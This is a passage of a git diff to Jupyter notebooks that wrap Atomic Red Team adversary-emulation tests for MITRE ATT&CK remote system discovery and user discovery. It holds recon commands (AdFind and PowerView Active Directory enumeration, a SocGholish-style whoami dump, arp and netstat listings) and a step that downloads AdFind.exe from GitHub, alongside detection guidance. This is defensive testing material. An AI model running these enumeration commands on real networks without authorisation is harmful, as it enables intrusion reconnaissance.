"metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "92d67a22", + "id": "ecfeee8d", "metadata": {}, "source": [ "### Atomic Test #5 - Remote System Discovery - arp", @@ -107,28 +107,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a94f52d6", + "id": "a344ed48", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "a856de36", + "id": "41d51403", "metadata": {}, "source": "### Atomic Test #6 - Remote System Discovery - arp nix\nIdentify remote systems via arp.\n\nUpon successful execution, sh will execute arp to list out the arp cache. Output will be via stdout.\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: Check if arp command exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v arp)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which yum && yum -y install net-tools)||(which apt-get && apt-get install -y net-tools)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4628f899", + "id": "9def1748", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8934470d", + "id": "6447d8df", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -138,14 +138,14 @@ { "cell_type": "code", "execution_count": null, - "id": "bd98ce4c", + "id": "552474e5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "ee4db1c3", + "id": "f7041a28", "metadata": {}, "source": [ "### Atomic Test #7 - Remote System Discovery - sweep", @@ -158,14 +158,14 @@ { "cell_type": "code", "execution_count": null, - "id": "9211acd9", + "id": "87944737", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "21a1fe7f", + "id": "bae8a735", "metadata": {}, "source": [ "### Atomic Test #8 - Remote System Discovery - nslookup", @@ -179,28 +179,28 @@ { "cell_type": "code", "execution_count": null, - "id": "cc3067fe", + "id": "b9d5025f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "ad49cec9", + "id": "0a324b66", "metadata": {}, "source": "### Atomic Test #9 - Remote System Discovery - adidnsdump\nThis tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks\nPython 3 and adidnsdump must be installed, use the get_prereq_command's to meet the prerequisites for this test.\nSuccessful execution of this test will list dns zones in the terminal.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Computer must have python 3 installed\n\n##### Check Prereq Commands:\n```cmd\nif (python --version) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\necho \"Python 3 must be installed manually\"\n\n```\n##### Description: Computer must have pip installed\n\n##### Check Prereq Commands:\n```cmd\nif (pip3 -V) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\necho \"PIP must be installed manually\"\n\n```\n##### Description: adidnsdump must be installed and part of PATH\n\n##### Check Prereq Commands:\n```cmd\nif (cmd /c adidnsdump -h) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\npip3 install adidnsdump\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "339f6779", + "id": "eaaca755", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 9 -GetPreReqs" }, { "cell_type": "markdown", - "id": "0cd1dae2", + "id": "896ab1de", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -210,90 +210,90 @@ { "cell_type": "code", "execution_count": null, - "id": "03e95b79", + "id": "3eecff6a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "ac734898", + "id": "201a9801", "metadata": {}, - "source": "### Atomic Test #10 - Adfind - Enumerate Active Directory Computer Objects\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Computer Objects\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (#{adfind_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe\n\n```" + "source": "### Atomic Test #10 - Adfind - Enumerate Active Directory Computer Objects\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Computer Objects\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe)\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2c6b8b11", + "id": "12675869", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 10 -GetPreReqs" }, { "cell_type": "markdown", - "id": "fd1f313a", + "id": "a8e5c9dd", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1087.002\\src\\AdFind.exe -f (objectcategory=computer)\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -f (objectcategory=computer)\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "6e0b51f6", + "id": "6439671f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "c3b29535", + "id": "0937c37a", "metadata": {}, - "source": "### Atomic Test #11 - Adfind - Enumerate Active Directory Domain Controller Objects\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Domain Controller Objects\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (#{adfind_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe\n\n```" + "source": "### Atomic Test #11 - Adfind - Enumerate Active Directory Domain Controller Objects\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Domain Controller Objects\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe)\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "eaa0c0a9", + "id": "f68da6c7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 11 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f55cd16d", + "id": "8471bd9d", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1087.002\\src\\AdFind.exe -sc dclist\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -sc dclist\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "6561cda5", + "id": "3759de82", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "0c4ef7bf", + "id": "0bf581ec", "metadata": {}, "source": "### Atomic Test #12 - Remote System Discovery - ip neighbour\nUse the ip neighbour command to display the known link layer (ARP table) addresses for hosts sharing the same network segment. \n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Check if ip command exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v ip)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\napt-get install iproute2 -y\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6a7310a5", + "id": "1d3e52ce", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 12 -GetPreReqs" }, { "cell_type": "markdown", - "id": "a4234693", + "id": "721029a3", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -303,28 +303,28 @@ { "cell_type": "code", "execution_count": null, - "id": "eb57d607", + "id": "7cd6ca91", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "df9d24e1", + "id": "367c7e15", "metadata": {}, "source": "### Atomic Test #13 - Remote System Discovery - ip route\nUse the ip route command to display the kernels routing tables. \n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Check if ip command exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v ip)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\napt-get install iproute2 -y\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6f425afa", + "id": "70ade2e2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 13 -GetPreReqs" }, { "cell_type": "markdown", - "id": "1e8e6208", + "id": "29abe3d4", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -334,28 +334,48 @@ { "cell_type": "code", "execution_count": null, - "id": "c644dd7c", + "id": "0c05c5d4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "ec83245e", + "id": "51ff326a", "metadata": {}, - "source": "### Atomic Test #14 - Remote System Discovery - ip tcp_metrics\nUse the ip tcp_metrics command to display the recent cached entries for IPv4 and IPv6 source and destination addresses. \n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Check if ip command exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v ip)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\napt-get install iproute2 -y\n\n```" + "source": [ + "### Atomic Test #14 - Remote System Discovery - netstat", + "Use the netstat command to display the kernels routing tables.\n", + "**Supported Platforms:** linux", + "#### Attack Commands: Run with `sh`\n", + "```sh\nnetstat -r | grep default\n```" + ] }, { "cell_type": "code", "execution_count": null, - "id": "297fe393", + "id": "1a3e81c8", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1018 -TestNumbers 14 -GetPreReqs" + "source": "Invoke-AtomicTest T1018 -TestNumbers 14" + }, + { + "cell_type": "markdown", + "id": "881c42e2", + "metadata": {}, + "source": "### Atomic Test #15 - Remote System Discovery - ip tcp_metrics\nUse the ip tcp_metrics command to display the recent cached entries for IPv4 and IPv6 source and destination addresses. \n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Check if ip command exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v ip)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\napt-get install iproute2 -y\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a43b0b76", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1018 -TestNumbers 15 -GetPreReqs" }, { "cell_type": "markdown", - "id": "68cf0248", + "id": "046550bd", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -365,28 +385,28 @@ { "cell_type": "code", "execution_count": null, - "id": "cb524acf", + "id": "9da889f7", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1018 -TestNumbers 14" + "source": "Invoke-AtomicTest T1018 -TestNumbers 15" }, { "cell_type": "markdown", - "id": "322ed3e3", + "id": "d11d5eb5", "metadata": {}, - "source": "### Atomic Test #15 - Enumerate domain computers within Active Directory using DirectorySearcher\nThis test is a Powershell script that enumerates Active Directory to determine computers that are joined to the domain. \nThis test is designed to mimic how SessionGopher can determine the additional systems within a domain, which has been used before by threat actors to aid in lateral movement. \nReference: [Head Fake: Tackling Disruptive Ransomware Attacks](https://www.mandiant.com/resources/head-fake-tackling-disruptive-ransomware-attacks). \nUpon successful execution, this test will output the names of the computers that reside on the domain to the console window. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: This PC must be joined to a domain.\n##### Check Prereq Commands:\n```powershell\nif ((Get-WmiObject -Class Win32_ComputerSystem).partofdomain -eq $true) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nwrite-host \"This PC must be manually added to a domain.\" \n```" + "source": "### Atomic Test #16 - Enumerate domain computers within Active Directory using DirectorySearcher\nThis test is a Powershell script that enumerates Active Directory to determine computers that are joined to the domain. \nThis test is designed to mimic how SessionGopher can determine the additional systems within a domain, which has been used before by threat actors to aid in lateral movement. \nReference: [Head Fake: Tackling Disruptive Ransomware Attacks](https://www.mandiant.com/resources/head-fake-tackling-disruptive-ransomware-attacks). \nUpon successful execution, this test will output the names of the computers that reside on the domain to the console window. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: This PC must be joined to a domain.\n##### Check Prereq Commands:\n```powershell\nif ((Get-WmiObject -Class Win32_ComputerSystem).partofdomain -eq $true) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nwrite-host \"This PC must be manually added to a domain.\" \n```" }, { "cell_type": "code", "execution_count": null, - "id": "804b203a", + "id": "8f739f93", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1018 -TestNumbers 15 -GetPreReqs" + "source": "Invoke-AtomicTest T1018 -TestNumbers 16 -GetPreReqs" }, { "cell_type": "markdown", - "id": "6d04b153", + "id": "46736c55", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -396,17 +416,17 @@ { "cell_type": "code", "execution_count": null, - "id": "c96b38f7", + "id": "a7fb4509", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1018 -TestNumbers 15" + "source": "Invoke-AtomicTest T1018 -TestNumbers 16" }, { "cell_type": "markdown", - "id": "2a732bb3", + "id": "7fb923c8", "metadata": {}, "source": [ - "### Atomic Test #16 - Enumerate Active Directory Computers with Get-AdComputer", + "### Atomic Test #17 - Enumerate Active Directory Computers with Get-AdComputer", "The following Atomic test will utilize Get-AdComputer to enumerate Computers within Active Directory.\nUpon successful execution a listing of Computers will output with their paths in AD.\nReference: https://github.com/MicrosoftDocs/windows-powershell-docs/blob/main/docset/winserver2022-ps/activedirectory/Get-ADComputer.md\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -417,17 +437,17 @@ { "cell_type": "code", "execution_count": null, - "id": "dd751a7f", + "id": "e0c57ae9", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1018 -TestNumbers 16" + "source": "Invoke-AtomicTest T1018 -TestNumbers 17" }, { "cell_type": "markdown", - "id": "61263637", + "id": "ffa285e0", "metadata": {}, "source": [ - "### Atomic Test #17 - Enumerate Active Directory Computers with ADSISearcher", + "### Atomic Test #18 - Enumerate Active Directory Computers with ADSISearcher", "The following Atomic test will utilize ADSISearcher to enumerate computers within Active Directory.\nUpon successful execution a listing of computers will output with their paths in AD.\nReference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -438,17 +458,17 @@ { "cell_type": "code", "execution_count": null, - "id": "18669ec9", + "id": "913cfcbc", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1018 -TestNumbers 17" + "source": "Invoke-AtomicTest T1018 -TestNumbers 18" }, { "cell_type": "markdown", - "id": "fb304138", + "id": "da64f133", "metadata": {}, "source": [ - "### Atomic Test #18 - Get-DomainController with PowerView", + "### Atomic Test #19 - Get-DomainController with PowerView", "Utilizing PowerView, run Get-DomainController to identify the Domain Controller. Upon execution, information about the domain controller within the domain will be displayed.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -458,38 +478,38 @@ { "cell_type": "code", "execution_count": null, - "id": "079c4caa", + "id": "2005b931", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1018 -TestNumbers 18" + "source": "Invoke-AtomicTest T1018 -TestNumbers 19" }, { "cell_type": "markdown", - "id": "18f98254", + "id": "d3bfc358", "metadata": {}, "source": [ - "### Atomic Test #19 - Get-wmiobject to Enumerate Domain Controllers", + "### Atomic Test #20 - Get-WmiObject to Enumerate Domain Controllers", "The following Atomic test will utilize get-wmiobject to enumerate Active Directory for Domain Controllers.\nUpon successful execution a listing of Systems from AD will output with their paths.\nReference: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nget-wmiobject -class ds_computer -namespace root\\directory\\ldap\n```" + "```powershell\ntry { get-wmiobject -class ds_computer -namespace root\\directory\\ldap -ErrorAction Stop }\ncatch { $_; exit $_.Exception.HResult }\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "62b5f41b", + "id": "d8134f83", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1018 -TestNumbers 19" + "source": "Invoke-AtomicTest T1018 -TestNumbers 20" }, { "cell_type": "markdown", - "id": "49656e43", + "id": "f803f1a1", "metadata": {}, "source": [ - "### Atomic Test #20 - Remote System Discovery - net group Domain Controller", + "### Atomic Test #21 - Remote System Discovery - net group Domain Controller", "Identify remote systems with net.exe querying the Active Directory Domain Controller.\nUpon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the \"Domain Controller\" in the domain. Output will be via stdout.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", @@ -499,20 +519,20 @@ { "cell_type": "code", "execution_count": null, - "id": "292d0d15", + "id": "03fa243b", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1018 -TestNumbers 20" + "source": "Invoke-AtomicTest T1018 -TestNumbers 21" }, { "cell_type": "markdown", - "id": "e4a058b5", + "id": "0f1a6a79", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)" }, { "cell_type": "markdown", - "id": "a028b717", + "id": "2b0c05c3", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender can change the output of a recon commands to hide simulation elements you don\u2019t want attacked and present simulation elements you want the adversary to engage with.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -520,13 +540,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1033.ipynb b/playbook/tactics/discovery/T1033.ipynb index 5e1cad56..330c6b26 100644 --- a/playbook/tactics/discovery/T1033.ipynb +++ b/playbook/tactics/discovery/T1033.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "62ffe2ac", + "id": "d693e7f8", "metadata": {}, - "source": "# T1033 - System Owner/User Discovery\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information." + "source": "# T1033 - System Owner/User Discovery\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)" }, { "cell_type": "markdown", - "id": "3a0dc0fe", + "id": "00fce999", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "efcccaaf", + "id": "4791fdbc", "metadata": {}, "source": [ "### Atomic Test #1 - System Owner/User Discovery", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "9933d3cc", + "id": "2681bbf3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1033 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c59effdd", + "id": "b040a04f", "metadata": {}, "source": [ "### Atomic Test #2 - System Owner/User Discovery", @@ -47,14 +47,14 @@ { "cell_type": "code", "execution_count": null, - "id": "e75ec112", + "id": "ed7158ca", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1033 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "1cbc3428", + "id": "4d11352b", "metadata": {}, "source": [ "### Atomic Test #3 - Find computers where user has session - Stealth mode (PowerView)", @@ -67,14 +67,14 @@ { "cell_type": "code", "execution_count": null, - "id": "ae161bfb", + "id": "135cd65a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1033 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "20a3889d", + "id": "1d90039e", "metadata": {}, "source": [ "### Atomic Test #4 - User Discovery With Env Vars PowerShell Script", @@ -87,28 +87,28 @@ { "cell_type": "code", "execution_count": null, - "id": "37737ec7", + "id": "83f937fa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1033 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "72b5b1d5", + "id": "4dfd40ea", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path .\\CurrentactiveUser.txt -Force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5f389d11", + "id": "fc35d014", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1033 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "4db41b0b", + "id": "114f882a", "metadata": {}, "source": [ "### Atomic Test #5 - GetCurrent User with PowerShell Script", @@ -121,34 +121,68 @@ { "cell_type": "code", "execution_count": null, - "id": "6d13f5c7", + "id": "2f869bde", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1033 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "3417aac1", + "id": "17529f00", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path .\\CurrentUserObject.txt -Force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "871f7ac7", + "id": "16dc5553", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1033 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "b826271d", + "id": "e79f8730", "metadata": {}, - "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." + "source": [ + "### Atomic Test #6 - System Discovery - SocGholish whoami", + "SocGholish performs whoami discovery commands and outputs the results to a tmp file. \nThe test will generate a filename similar to the random one generated during execution and write the file to AppData\\Temp.\n\nReference: https://redcanary.com/threat-detection-report/threats/socgholish/\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$TokenSet = @{\n U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n N = [Char[]]'0123456789'\n}\n$Upper = Get-Random -Count 5 -InputObject $TokenSet.U\n$Number = Get-Random -Count 5 -InputObject $TokenSet.N\n$StringSet = $Upper + $Number\n$rad = (Get-Random -Count 5 -InputObject $StringSet) -join ''\n$file = \"rad\" + $rad + \".tmp\"\n\nwhoami.exe /all >> $env:temp\\$file\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7885d1fc", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1033 -TestNumbers 6" + }, + { + "cell_type": "markdown", + "id": "a75b5e56", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nRemove-Item -Path $env:temp\\rad*.tmp -Force\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "88b997a0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1033 -TestNumbers 6 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "d7c9a176", + "metadata": {}, + "source": "## Detection\n`System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations." }, { "cell_type": "markdown", - "id": "bb53421a", + "id": "e9641393", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired 